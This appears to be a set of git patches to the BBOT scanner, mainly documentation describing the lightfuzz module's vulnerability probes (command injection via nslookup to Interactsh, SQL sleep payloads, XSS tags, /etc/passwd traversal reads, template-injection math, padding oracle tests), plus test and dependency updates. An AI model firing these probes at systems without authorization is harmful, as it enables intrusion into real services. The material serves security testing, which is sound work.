(Interactsh) | +| **HIGH** | 🔴 | Deterministic detection that's hard to fake | SSTI math evaluation (`1337*1337=1787569`), padding oracle | +| **MODERATE** | 🟠 | Context-aware detection, but not definitive | SQL error strings after quote injection, XSS tag survival in reflection | +| **LOW** | 🟡 | Heuristic detection, requires manual verification | Blind SQLi timing (even with 3x confirmation), path traversal divergence, deserialization error changes | + +When reviewing lightfuzz output, consider both dimensions together. A `CRITICAL` severity / `CONFIRMED` confidence finding (like OOB command injection) is something to act on immediately. A `HIGH` severity / `LOW` confidence finding (like blind SQLi timing) is worth investigating but may be a false positive. + +## Submodules + +Lightfuzz is divided into numerous "submodules". These would typically be run all together, but they can be configured to be run individually or in any desired configuration. This would be done with the aid of a `preset`, more on those in a moment. ### `cmdi` (Command Injection) - - Finds output-based on blind out-of-band (via `Interactsh`) command injections + - Finds output-based and blind out-of-band (via `Interactsh`) command injections ### `crypto` (Cryptography) - - Identifies cryptographic parameters that have a tangable effect on the application - - Can identify padding oracle vulnerabilities - - Can identify hash length extention vulnerabilities + - Identifies cryptographic parameters that have a tangible effect on the application + - Can identify padding oracle vulnerabilities + - Can identify hash length extension vulnerabilities ### `path` (Path Traversal) - - Can find arbitrary file read / local-file include vulnerabilities, based on relative path traversal or with absolute paths + - Can find arbitrary file read / local-file include vulnerabilities, based on relative path traversal or with absolute paths ### `serial` (Deserialization) - - Can identify the active deserialization of a variety of deserialization types across several platforms + - Can identify the active deserialization of a variety of deserialization types across several platforms ### `sqli` (SQL Injection) - - Error Based SQLi Detection - - Blind time-delay SQLi Detection + - Error Based SQLi Detection + - Blind time-delay SQLi Detection ### `ssti` (Server-side Template Injection) - - Can find basic server-side template injection + - Can find basic server-side template injection ### `xss` (Cross-site Scripting) - - Can find a variety of XSS types, across several different contexts (between-tags, attribute, Javascript-based) -## Presets + - Can find a variety of XSS types, across several different contexts (between-tags, attribute, Javascript-based) +### `esi` (Edge Side Includes) + - Detects Edge Side Include processing -Lightfuzz comes with a few pre-defined presets. The first thing to know is that, unless you really know BBOT inside and out, we recommend using one of them. This is because to be successful, Lightfuzz needs to change a lot of very important BBOT settings. These include: +## Submodule Details -* Setting `url_querystring_remove` to False. By default, BBOT strips away querystings, so in order to FUZZ GET parameters, that default has to be disabled. -``` -url_querystring_remove: False -``` -* Enabling several other complimentary modules. Specifically, `hunt` and `reflected_parameters` can be useful companion modules that also be useful when `WEB_PARAMETER` events are being emitted. +### `cmdi` — Command Injection + +Detects OS command injection via two techniques: + +**Echo Canary Detection** (CRITICAL severity, MODERATE confidence): Injects command delimiters (`;`, `&&`, `||`, `&`, `|`) combined with an `echo` command containing a random numeric canary. If the canary appears in the response *without* the word "echo" (ruling out simple reflection), injection is indicated. A false-positive probe (`AAAA`) is sent first — if the canary appears with that delimiter, the test aborts since the application is just reflecting input. + +**Blind OOB via Interactsh** (CRITICAL severity, CONFIRMED confidence): Injects `nslookup` commands pointed at unique Interactsh subdomains. If a DNS interaction is received, command execution is confirmed out-of-band. This is the highest-confidence detection lightfuzz can produce. Requires Interactsh to be enabled (it is by default). + +### `sqli` — SQL Injection + +Detects SQL injection via two techniques: + +**Error-based Detection** (HIGH severity, MODERATE confidence): Injects a single quote (`'`) and compares the response against a list of known SQL error strings (e.g., "error in your SQL syntax", "Unterminated string literal"). Also performs a differential test: if a single quote changes the status code but two single quotes (`''`) produce a *different* status code, it suggests the quotes are being parsed as SQL syntax rather than just rejected. + +**Blind Time-delay Detection** (HIGH severity, LOW confidence): Sends database-specific sleep payloads (PostgreSQL `pg_sleep`, MySQL `SLEEP`, Oracle `DBMS_LOCK.SLEEP`, MSSQL `WAITFOR DELAY`) with a 5-second delay. Measures response time against a baseline average of two normal requests. Requires 3 consecutive confirmations within an acceptable margin (1.5s) to report — even a single miss aborts the test for that payload. Despite the triple confirmation, timing-based detection is inherently noisy, hence the LOW confidence. + +### `xss` — Cross-Site Scripting + +Detects reflected XSS across multiple injection contexts. All XSS findings are MEDIUM severity, MODERATE confidence. + +**Step 1 — Reflection Check**: Sends a random 8-character alphanumeric string. If it doesn't appear in the response, the parameter doesn't reflect and XSS testing is skipped entirely. Parameters from `paramminer_getparams` without an `http-reflection` tag are also skipped. + +**Step 2 — Context Detection**: Determines where in the HTML the reflection occurs: + +- **Between tags**: `<tag>REFLECTION</tag>` +- **In tag attribute**: `<tag attr="REFLECTION">` +- **In JavaScript**: `<script>var x = 'REFLECTION'</script>` + +**Step 3 — Context-Specific Payloads**: + +- *Between tags*: Tests whether HTML tags survive unmodified by injecting `<z>`, `<svg>`, and `<img>` tags. The `z` tag is arbitrary and less likely to be blocked by filters. +- *Tag attribute*: Tests quote escaping (`"z`), auto-quoting behavior, and `javascript:` scheme injection in form actions. +- *JavaScript*: First tries `</script><script>...</script>` tag breaking. If that fails, determines the quote context (single or double) and tests escape-the-escape-character techniques (`\'` → `\\'`). + +Lightfuzz can often detect through WAFs since it does not attempt to construct full exploitation payloads. + +### `path` — Path Traversal + +Detects arbitrary file read / local file inclusion via two techniques: + +**Relative Path Traversal** (HIGH severity, LOW confidence): The core technique is a single-dot vs. double-dot differential. If `./a/../VALUE` returns the same response as the original value (single dot is a no-op) but `../a/../VALUE` returns a *different* response (double dot changes the resolved path), it indicates real path manipulation. This is tested across 8 encoding variants: + +- No encoding (with and without leading slash) +- URL encoding (with and without leading slash) +- Non-recursive stripping bypass (`....//`) +- Double URL encoding +- Start-of-path validation bypass (preserves original directory prefix) + +Each variant requires **4 confirmations** across 5 iterations (one failure tolerated after the first success). WAF responses containing "The requested URL was rejected" are filtered out. Despite the multiple confirmations, this remains LOW confidence because response divergence can have non-traversal explanations. + +**Absolute Path Detection** (HIGH severity, MODERATE confidence): Directly requests known file paths (`/etc/passwd`, `c:\windows\win.ini`) and checks for expected content strings (`daemon:x:`, `; for 16-bit app support`). Also tests null byte extension bypass (`%00.png`). Higher confidence because matching specific file content is much harder to explain away. + +### `ssti` — Server-Side Template Injection + +Detects template injection via arithmetic evaluation. All SSTI findings are HIGH severity, HIGH confidence. +Sends the expression `1337*1337` across multiple template syntaxes: -If you don't want to dive into those details, and we don't blame you, here are the built-in preset options and what you need to know about the differences. +- `<%= 1337*1337 %>` (ERB/ASP, plus URL-encoded variant) +- `${1337*1337}` (EL/Freemarker, plus URL-encoded variant) +- `1,787{{z}},569` (Jinja2/Twig — if `{{z}}` is stripped, it becomes `1,787,569`) -# -p lightfuzz-light +If the response contains `1787569` (or `1,787,569`), the expression was evaluated server-side. This is a HIGH confidence detection because it's very unlikely for the exact product of two arbitrary numbers to appear in a response by coincidence. -This is a minimal preset that checks for only the most common vulnerabilities. It enables a select few of lightfuzz's submodules, and is safest for larger scans. +### `crypto` — Cryptography Probe -# -p lightfuzz-medium +Identifies cryptographic parameters and probes for cryptographic vulnerabilities. This submodule has several stages with varying confidence levels. -This is the default setting. It enables all lightfuzz submodules, and includes all the necessary config options to make Lightfuzz work, without too many extras. However it is important to note that it **DISABLES FUZZING POST REQUESTS**. This is because this type of request is the most intrusive, and the most likely to cause problems, especially in an internal network. +**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all further tests are skipped. -# -p lightfuzz-heavy +**Stage 2 — Response Divergence** (INFORMATIONAL severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation. -* Increases the web spider settings a bit from the default. -* Adds in the **Param Miner** suite of modules to try and find new parameters to fuzz via brute-force -* Enables fuzzing of POST parameters +**Stage 3 — Error String Detection** (INFORMATIONAL severity, LOW confidence): Scans manipulation responses for cryptographic error messages using YARA rules (e.g., "padding is invalid", "invalid mac", "OpenSSL Error"). Errors present in the baseline are filtered out to avoid false positives. -# -p lightfuzz-superheavy +**Stage 4 — Padding Oracle** (HIGH severity, HIGH confidence): If a block cipher is suspected, performs a targeted padding oracle test. Constructs a crafted ciphertext with a null IV block and iterates through all 256 possible last-byte values. A true padding oracle produces a small number of differing responses (1 up to block_size, since multi-byte padding values like `\x02\x02` can also produce valid padding if the intermediate bytes happen to align). To avoid false positives from servers that reflect or reveal submitted/decrypted values, probe values are stripped from both responses before comparison, and small character-level differences (≤5 chars in equal-length responses) are tolerated. Handles the edge case where the baseline byte is the correct padding byte (1/255 chance) by retrying with a different baseline. -Everything included in `lightfuzz-heavy`, plus: +**Stage 5 — Hash Length Extension** (INFORMATIONAL severity, LOW confidence): If the parameter value matches a known hash length (MD5/SHA-1/SHA-256/SHA-384/SHA-512), checks whether modifying *other* parameters on the same request causes the hash parameter's response to change — suggesting those parameters are inputs to the hash, which could enable length extension attacks. -* Query string collapsing turned OFF. Normally, multiple instances of the same parameter (e.g., foo=bar and foo=bar2) are collapsed into one for fuzzing. With `lightfuzz-superheavy`, each instance is fuzzed individually. -* Force common headers enabled - Fuzz certain common header parameters, even if we didn't discover them -* 'Speculate' GET parameters from JSON or XML response bodies +### `serial` — Unsafe Deserialization -These settings aren't typically desired as they add significant time to the scan. +Detects active deserialization of serialized objects. All deserialization findings are HIGH severity, LOW confidence. -# -p lightfuzz-xss +Tests three encoding families (base64, hex, PHP raw) against control baselines crafted to *not* be valid serialized objects. For each family, sends known serialized payloads across multiple platforms: -This is a special Lightfuzz preset that focuses entirely on XSS, to make XSS hunting as fast as possible. It is an example of how to make a preset that focuses on specific submodules. It also includes the `paramminer-getparams` module to help find undocumented parameters to fuzz. +- **Base64**: PHP, Java (Boolean, String, OptionalDataException), .NET, Ruby +- **Hex**: Java, Java OptionalDataException, .NET +- **PHP Raw**: PHP array -# Spider preset +Two detection methods: -We also *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters that are discovered. If you don't, you will see a warning reminding you that things will work a lot better if you do. +- **Error Resolution**: If the control baseline returns a non-200 status but the serialized payload returns 200 (excluding common error pages like "Internal Server Error"), the application likely recognized and processed the serialized data. +- **Differential Error Analysis**: If the response is a 500 (or a 200 with body changes), checks for deserialization-specific error strings like `java.io.optionaldataexception` or `cannot cast java.lang.string` that weren't present in the baseline. -That can be done by simply also enabling either the `spider` or `spider-intense` preset. +Only runs on parameters whose existing values look potentially serialized (base64, hex, or PHP serialization prefixes), or on empty parameters. -# Usage +### `esi` — Edge Side Includes -With the presets in mind, usage is incredibly simple. In most cases you will just do the following: +Detects ESI processing. ESI findings are MEDIUM severity, HIGH confidence. + +Sends the payload `AA<!--esi-->BB<!--esx-->CC`. If the server processes ESI tags, the `<!--esi-->` comment is removed (it's a valid ESI directive) while `<!--esx-->` is left alone (not a valid directive). The expected detection string is `AABB<!--esx-->CC`. This is a clean differential test — the only explanation for selective comment removal is active ESI processing. + +## Presets + +Lightfuzz comes with pre-defined presets. Unless you really know BBOT inside and out, we recommend using one of them. This is because Lightfuzz needs to change several important BBOT settings to work correctly, including: + +* Setting `url_querystring_remove` to False. By default, BBOT strips away querystrings, so in order to fuzz GET parameters, that default has to be disabled. +* Enabling complementary modules. Specifically, `hunt` and `reflected_parameters` can be useful companion modules when `WEB_PARAMETER` events are being emitted. + +If you don't want to dive into those details, here are the built-in preset options. + +### `-p lightfuzz-light` + +Minimal preset that checks for only the most common findings (path traversal, SQLi, XSS). Enables a select few submodules and is safest for larger scans. POST requests are disabled. + +### `-p lightfuzz-medium` + +The default starting point. Enables all lightfuzz submodules and includes necessary config options, plus companion modules (`badsecrets`, `hunt`, `reflected_parameters`). **POST request fuzzing is disabled** — this is the most common concern for less aggressive scanning, especially on internal networks. + +### `-p lightfuzz-heavy` + +Everything in `lightfuzz-medium`, plus: + +* **Param Miner** modules enabled for brute-force parameter discovery +* POST parameter fuzzing enabled +* Slightly increased spider settings + +### `-p lightfuzz-superheavy` + +Everything in `lightfuzz-heavy`, plus: + +* Query string collapsing turned OFF — each unique parameter-value instance is fuzzed individually instead of being deduplicated +* Force common headers enabled — fuzz common header parameters (e.g., `X-Forwarded-For`) even if they weren't discovered +* Speculate GET parameters from JSON/XML response bodies + +These settings add significant scan time and aren't typically desired for routine scanning. + +### `-p lightfuzz-xss` + +A focused preset for XSS hunting. Enables only the `xss` submodule with `paramminer_getparams` for parameter discovery. POST requests are disabled, and query string collapsing is off. This is an example of how to build a preset targeting specific submodules. + +### Spider Preset + +We *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters discovered. If you don't, you will see a warning reminding you. + +Enable the spider by adding either the `spider` or `spider-intense` preset: ``` bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly ``` -It's really that simple. Almost all output from Lightfuzz will be in the form of a `FINDING`, as opposed to a `VULNERABILITY`, with a couple of exceptions. This is because, as was explained, the nature of the findings are that they are typically unconfirmed and will require work on your part to do so. +## Usage + +With presets in mind, usage is simple: + +``` +bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly +``` -If you wanted a specific submodule, you could make your own preset adjusting the `modules.lightfuzz.enabled_submodules` setting, or do so via the command line: +All output from Lightfuzz will be `FINDING` events, each with a severity and confidence level. Focus your triage on confidence first — CONFIRMED and HIGH confidence findings are the most actionable, while LOW confidence findings should be treated as leads requiring manual verification. + +### Selecting Specific Submodules + +If you want a specific submodule, you can make your own preset adjusting the `modules.lightfuzz.enabled_submodules` setting, or do so via the command line: Just XSS: ``` -bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss] --allow-deadly +bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss] --allow-deadly ``` XSS and SQLi: ``` -bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli] --allow-deadly +bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli] --allow-deadly ``` +## HTTP Method Switching + +Two options are available to test parameters across HTTP methods: + +* **`try_post_as_get`**: For each `POSTPARAM` discovered, also fuzz it as a `GETPARAM`. This catches cases where a parameter accepted via POST is also accepted via GET, which may bypass server-side protections that only apply to one method. +* **`try_get_as_post`**: For each `GETPARAM` discovered, also fuzz it as a `POSTPARAM`. This catches cases where GET parameters are also accepted in POST bodies, potentially with different security controls. +These options are disabled by default. When enabled, findings from converted parameters will be annotated with their original method (e.g., "converted from POSTPARAM") in the finding description. + +This is useful because web frameworks often accept parameters from multiple sources, but security filters (WAFs, input validation) may only apply to the originally intended method. + +Enable via config: +``` +bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.try_post_as_get=true modules.lightfuzz.try_get_as_post=true --allow-deadly +``` From e2411d769ec21e830af50905df472ba35a73cbd3 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Feb 2026 11:52:18 -0500 Subject: [PATCH 238/912] fixing comments/docs related to nomenclature changes --- bbot/core/event/base.py | 4 ++-- .../module_tests/test_module_azure_tenant.py | 2 +- .../module_tests/test_module_hunt.py | 2 +- .../module_tests/test_module_trufflehog.py | 2 +- .../module_tests/test_module_web_report.py | 2 +- docs/modules/nuclei.md | 5 ++--- docs/scanning/events.md | 18 +++++------------- docs/scanning/output.md | 7 +++---- 8 files changed, 16 insertions(+), 26 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index e3609fe14c..92a553ac1b 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -111,7 +111,7 @@ class BaseEvent: _always_emit_tags = ["affiliate", "seed"] # Bypass scope checking and dns resolution, distribute immediately to modules - # This is useful for "end-of-line" events like FINDING and VULNERABILITY + # This is useful for "end-of-line" events like FINDING _quick_emit = False # Data validation, if data is a dictionary _data_validator = None @@ -1061,7 +1061,7 @@ def _host(self): class ClosestHostEvent(DictHostEvent): # if a host/path/url isn't specified, this event type grabs it from the closest parent - # inherited by FINDING and VULNERABILITY + # inherited by FINDING def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) if not self.host: diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py index d55163809a..436328a47f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py +++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py @@ -294,7 +294,7 @@ def check(self, module_test, events): and e.data.get("url") == "https://authfs.example.com/adfs/ls/" # url is cleaned and "azure-federated" in e.tags for e in events - ), "Should emit Federated Auth FINDING with INFORMATIONAL severity" + ), "Should emit Federated Auth FINDING with INFO severity" # URL_UNVERIFIED also gets cleaned (query string removed) assert any( diff --git a/bbot/test/test_step_2/module_tests/test_module_hunt.py b/bbot/test/test_step_2/module_tests/test_module_hunt.py index 54ddfd49d0..a572e96a74 100644 --- a/bbot/test/test_step_2/module_tests/test_module_hunt.py +++ b/bbot/test/test_step_2/module_tests/test_module_hunt.py @@ -25,7 +25,7 @@ def check(self, module_test, events): break assert finding_event is not None - # Hunt emits INFORMATIONAL severity and LOW confidence + # Hunt emits INFO severity and LOW confidence assert finding_event.data["severity"] == "INFO" assert finding_event.data["confidence"] == "LOW" diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 95fc451fb9..05103d3ddb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1330,6 +1330,6 @@ def check(self, module_test, events): finding_events = [e for e in events if e.type == "FINDING"] assert len(finding_events) == 1 assert "Possible Secret Found" in finding_events[0].data["description"] - # Trufflehog emits HIGH severity and MODERATE confidence for possible secrets + # Trufflehog emits HIGH severity and MEDIUM confidence for possible secrets assert finding_events[0].data["severity"] == "HIGH" assert finding_events[0].data["confidence"] == "MEDIUM" diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index 92db464d7b..33c2861b0f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -9,7 +9,7 @@ class TestWebReport(ModuleTestBase): async def setup_before_prep(self, module_test): # trufflehog --> FINDING # dotnetnuke --> TECHNOLOGY - # badsecrets --> VULNERABILITY + # badsecrets --> FINDING respond_args = {"response_data": web_body} module_test.set_expect_requests(respond_args=respond_args) diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 3858096d78..769e54e77f 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -7,9 +7,8 @@ BBOT integrates with [Nuclei](https://github.com/projectdiscovery/nuclei), an op ![Nuclei Killchain](https://github.com/blacklanternsecurity/bbot/assets/24899338/7174c4ba-4a6e-4596-bb89-5a0c5f5abe74) -* The BBOT Nuclei module ingests **[URL]** events and emits events of type **[VULNERABILITY]** or **[FINDING]** -* Vulnerabilities will inherit their severity from the Nuclei templates -* Nuclei templates of severity INFO will be emitted as **[FINDINGS]** +* The BBOT Nuclei module ingests **[URL]** events and emits **[FINDING]** events +* Findings will inherit their severity from the Nuclei templates ## Default Behavior diff --git a/docs/scanning/events.md b/docs/scanning/events.md index fe552e9f96..109690e327 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -141,18 +141,10 @@ Below is a full list of event types along with which modules produce/consume the | WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | <!-- END BBOT EVENTS --> -## Findings Vs. Vulnerabilities +## Findings -BBOT has a sharp distinction between Findings and Vulnerabilities: +All vulnerability discoveries, security-relevant observations, and other notable results in BBOT are emitted as **`FINDING`** events. -**VULNERABILITY** - -* There's a higher standard for what is allowed to be a vulnerability. They should be considered **confirmed** and **actionable** - no additional confirmation required -* They are always assigned a severity. The possible severities are: LOW, MEDIUM, HIGH, or CRITICAL - -**FINDING** - -* Findings can range anywhere from "slightly interesting behavior" to "likely, but unconfirmed vulnerability" -* Are often false positives - -By making this separation, actionable vulnerabilities can be identified quickly in the midst of a large scan +* Findings are always assigned a **severity** (`INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`) and a **confidence** (`UNKNOWN`, `LOW`, `MEDIUM`, `HIGH`, or `CONFIRMED`). +* Findings can range anywhere from "slightly interesting behavior" to confirmed, actionable vulnerabilities. +* Use severity and confidence together to prioritize results: a `HIGH` severity / `CONFIRMED` confidence finding is immediately actionable, while a `LOW` severity / `LOW` confidence finding may warrant further investigation. diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 6063c0a893..3fa69f131b 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -102,24 +102,23 @@ config: bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef ``` -By default, only `VULNERABILITY` and `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so: +By default, only `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so: ```yaml title="discord_preset.yml" config: modules: discord: event_types: - - VULNERABILITY - FINDING - STORAGE_BUCKET ``` ...or on the command line: ```bash -bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING","VULNERABILITY"] +bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING"] ``` -You can also filter on the severity of `VULNERABILITY` events by setting `min_severity`: +You can also filter on the severity of `FINDING` events by setting `min_severity`: ```yaml title="discord_preset.yml" From 7f515dfcd569a0028e27e02ef35e9122d456930e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Feb 2026 15:11:03 -0500 Subject: [PATCH 239/912] Fix merge conflict in pyproject.toml, bump ruff, add pymdown-extensions --- pyproject.toml | 25 ++----------------------- 1 file changed, 2 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 5fbb6f9621..62fa5cc6e7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -75,7 +75,7 @@ dev = [ "fastapi>=0.115.5,<0.129.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", - "ruff==0.14.14", + "ruff==0.15.2", ] docs = [ "mkdocs>=1.5.2,<2", @@ -87,33 +87,12 @@ docs = [ "griffe>=1,<2", "livereload>=2.6.3,<3", "mike>=2.1.3,<3", + "pymdown-extensions>=10.20.1,<11", ] -<<<<<<< HEAD [build-system] requires = ["hatchling"] build-backend = "hatchling.build" -======= -[tool.poetry.group.dev.dependencies] -poetry-dynamic-versioning = ">=0.21.4,<1.11.0" -urllib3 = "^2.0.2" -werkzeug = ">=2.3.4,<4.0.0" -pytest-env = ">=0.8.2,<1.2.0" -pre-commit = ">=3.4,<5.0" -pytest-cov = ">=5,<8" -pytest-rerunfailures = ">=14,<17" -pytest-timeout = "^2.3.1" -pytest-httpserver = "^1.0.11" -pytest = "^8.3.1" -pytest-asyncio = "1.2.0" -uvicorn = ">=0.32,<0.40" -fastapi = ">=0.115.5,<0.129.0" -pytest-httpx = ">=0.35" -pytest-benchmark = ">=4,<6" -ruff = "0.15.2" -pymdown-extensions = "^10.20.1" -griffe = "^1" ->>>>>>> dev [tool.hatch.version] path = "bbot/_version.py" From ffe66cc86959ed7367b836b781286a65be4e3d9c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Feb 2026 16:40:22 -0500 Subject: [PATCH 240/912] Fix padding oracle tests to use FINDING instead of removed VULNERABILITY event type --- bbot/test/test_step_2/module_tests/test_module_lightfuzz.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 0f95c9da3a..0eebfe5d4f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1742,7 +1742,7 @@ def check(self, module_test, events): ): cryptographic_parameter_finding = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if ( "Padding Oracle Vulnerability. Block size: [16]" in e.data["description"] and "encrypted_data" in e.data["description"] @@ -1756,7 +1756,7 @@ def check(self, module_test, events): class Test_Lightfuzz_PaddingOracleDetection_Noisy(Test_Lightfuzz_PaddingOracleDetection): """Padding oracle negative test: the server returns different responses for ~30 byte values, - which exceeds any valid block size. This should NOT produce a VULNERABILITY.""" + which exceeds any valid block size. This should NOT produce a FINDING.""" def request_handler(self, request): encrypted_value = quote( @@ -1818,7 +1818,7 @@ def check(self, module_test, events): and "encrypted_data" in e.data["description"] ): cryptographic_parameter_finding = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if "Padding Oracle" in e.data["description"]: padding_oracle_detected = True From eb8d28bfcf1bc6d96f523ec358f9cb1419e2f281 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Feb 2026 16:41:43 -0500 Subject: [PATCH 241/912] Update uv.lock to match pyproject.toml changes --- uv.lock | 47 ++++++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/uv.lock b/uv.lock index 3e6453933f..18cf64a3dc 100644 --- a/uv.lock +++ b/uv.lock @@ -217,6 +217,7 @@ docs = [ { name = "mkdocs-material-extensions" }, { name = "mkdocstrings" }, { name = "mkdocstrings-python" }, + { name = "pymdown-extensions" }, ] [package.metadata] @@ -268,7 +269,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.14.14" }, + { name = "ruff", specifier = "==0.15.2" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -283,6 +284,7 @@ docs = [ { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, { name = "mkdocstrings", specifier = ">=0.22,<0.31" }, { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, + { name = "pymdown-extensions", specifier = ">=10.20.1,<11" }, ] [[package]] @@ -2431,28 +2433,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.14.14" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2e/06/f71e3a86b2df0dfa2d2f72195941cd09b44f87711cb7fa5193732cb9a5fc/ruff-0.14.14.tar.gz", hash = "sha256:2d0f819c9a90205f3a867dbbd0be083bee9912e170fd7d9704cc8ae45824896b", size = 4515732, upload-time = "2026-01-22T22:30:17.527Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d2/89/20a12e97bc6b9f9f68343952da08a8099c57237aef953a56b82711d55edd/ruff-0.14.14-py3-none-linux_armv6l.whl", hash = "sha256:7cfe36b56e8489dee8fbc777c61959f60ec0f1f11817e8f2415f429552846aed", size = 10467650, upload-time = "2026-01-22T22:30:08.578Z" }, - { url = "https://files.pythonhosted.org/packages/a3/b1/c5de3fd2d5a831fcae21beda5e3589c0ba67eec8202e992388e4b17a6040/ruff-0.14.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6006a0082336e7920b9573ef8a7f52eec837add1265cc74e04ea8a4368cd704c", size = 10883245, upload-time = "2026-01-22T22:30:04.155Z" }, - { url = "https://files.pythonhosted.org/packages/b8/7c/3c1db59a10e7490f8f6f8559d1db8636cbb13dccebf18686f4e3c9d7c772/ruff-0.14.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:026c1d25996818f0bf498636686199d9bd0d9d6341c9c2c3b62e2a0198b758de", size = 10231273, upload-time = "2026-01-22T22:30:34.642Z" }, - { url = "https://files.pythonhosted.org/packages/a1/6e/5e0e0d9674be0f8581d1f5e0f0a04761203affce3232c1a1189d0e3b4dad/ruff-0.14.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f666445819d31210b71e0a6d1c01e24447a20b85458eea25a25fe8142210ae0e", size = 10585753, upload-time = "2026-01-22T22:30:31.781Z" }, - { url = "https://files.pythonhosted.org/packages/23/09/754ab09f46ff1884d422dc26d59ba18b4e5d355be147721bb2518aa2a014/ruff-0.14.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c0f18b922c6d2ff9a5e6c3ee16259adc513ca775bcf82c67ebab7cbd9da5bc8", size = 10286052, upload-time = "2026-01-22T22:30:24.827Z" }, - { url = "https://files.pythonhosted.org/packages/c8/cc/e71f88dd2a12afb5f50733851729d6b571a7c3a35bfdb16c3035132675a0/ruff-0.14.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1629e67489c2dea43e8658c3dba659edbfd87361624b4040d1df04c9740ae906", size = 11043637, upload-time = "2026-01-22T22:30:13.239Z" }, - { url = "https://files.pythonhosted.org/packages/67/b2/397245026352494497dac935d7f00f1468c03a23a0c5db6ad8fc49ca3fb2/ruff-0.14.14-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:27493a2131ea0f899057d49d303e4292b2cae2bb57253c1ed1f256fbcd1da480", size = 12194761, upload-time = "2026-01-22T22:30:22.542Z" }, - { url = "https://files.pythonhosted.org/packages/5b/06/06ef271459f778323112c51b7587ce85230785cd64e91772034ddb88f200/ruff-0.14.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ff589aab3f5b539e35db38425da31a57521efd1e4ad1ae08fc34dbe30bd7df", size 